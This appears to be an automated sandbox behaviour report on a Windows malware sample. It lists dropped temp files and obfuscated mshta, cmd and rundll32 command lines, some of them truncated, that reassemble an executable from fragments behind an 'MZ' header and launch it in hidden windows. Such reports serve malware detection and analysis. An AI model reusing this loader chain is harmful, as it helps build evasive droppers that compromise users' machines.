Technical Information
Malicious functions
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' -F -Im "<File name>.exe"
Modifies file system
Creates the following files
- %TEMP%\skvpvs3t6y8w.exe
- %TEMP%\ylrxm6o.qz
- %TEMP%\3uii17.ui
- %TEMP%\ezzs.mdf
- %TEMP%\uts09z.aiz
- %TEMP%\jnyesn.co
- %TEMP%\yw7bb.dee
- %TEMP%\fuej5.qm
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
- ClassName: '' WindowName: ''
Creates and executes the following
- '%TEMP%\skvpvs3t6y8w.exe' /phmOv~geMVZhd~P51OGqJQYYUK
- '%WINDIR%\syswow64\cmd.exe' /c copY /Y "<Full path to file>" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF "" == "" for %U In ( "<Full path to fi...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copY /Y "%TEMP%\SkVPVS3t6Y8W.EXe" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF "/phmOv~geMVZhd~P51OGqJQYYUK " == "" for %U ...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /q /C eCHo | SET /P = "MZ" > yW7bB.DeE &COpy /Y /b YW7bB.DEe + YLRXm6O.QZ+ 3UII17.UI + EZZS.MDf + Uts09Z.AiZ + JNYESn.Co FUEJ5.Q...' (with hidden window)
- '%WINDIR%\syswow64\rundll32.exe' Shell32.dll,Control_RunDLL .\FUEj5.QM' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\mshta.exe' vbSCRiPt: cloSe ( cReATEOBJecT ( "WScRIPt.SHelL" ). RUn ( "<SYSTEM32>\cmd.exe /c copY /Y ""<Full path to file>"" SkVPVS3t6Y8W.EXe && ST...
- '%WINDIR%\syswow64\cmd.exe' /c copY /Y "<Full path to file>" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF "" == "" for %U In ( "<Full path to fi...
- '%WINDIR%\syswow64\mshta.exe' vbSCRiPt: cloSe ( cReATEOBJecT ( "WScRIPt.SHelL" ). RUn ( "<SYSTEM32>\cmd.exe /c copY /Y ""%TEMP%\SkVPVS3t6Y8W.EXe"" SkVPVS3t6Y8W.EXe && ...
- '%WINDIR%\syswow64\cmd.exe' /c copY /Y "%TEMP%\SkVPVS3t6Y8W.EXe" SkVPVS3t6Y8W.EXe && STart SkVPVs3t6Y8W.exE /phmOv~geMVZhd~P51OGqJQYYUK & iF "/phmOv~geMVZhd~P51OGqJQYYUK " == "" for %U ...
- '%WINDIR%\syswow64\mshta.exe' vBsCRipT: CloSE ( CReaTEoBJEct ( "WSCRIPT.SHElL" ). rUn ("cMd /q /C eCHo | SET /P = ""MZ"" > yW7bB.DeE &COpy /Y ...
- '%WINDIR%\syswow64\cmd.exe' /q /C eCHo | SET /P = "MZ" > yW7bB.DeE &COpy /Y /b YW7bB.DEe + YLRXm6O.QZ+ 3UII17.UI + EZZS.MDf + Uts09Z.AiZ + JNYESn.Co FUEJ5.Q...
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" eCHo "
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" SET /P = "MZ" 1>yW7bB.DeE"
- '%WINDIR%\syswow64\control.exe' .\FUEj5.QM
- '%WINDIR%\syswow64\rundll32.exe' Shell32.dll,Control_RunDLL .\FUEj5.QM
- '<SYSTEM32>\rundll32.exe' Shell32.dll,Control_RunDLL .\FUEj5.QM
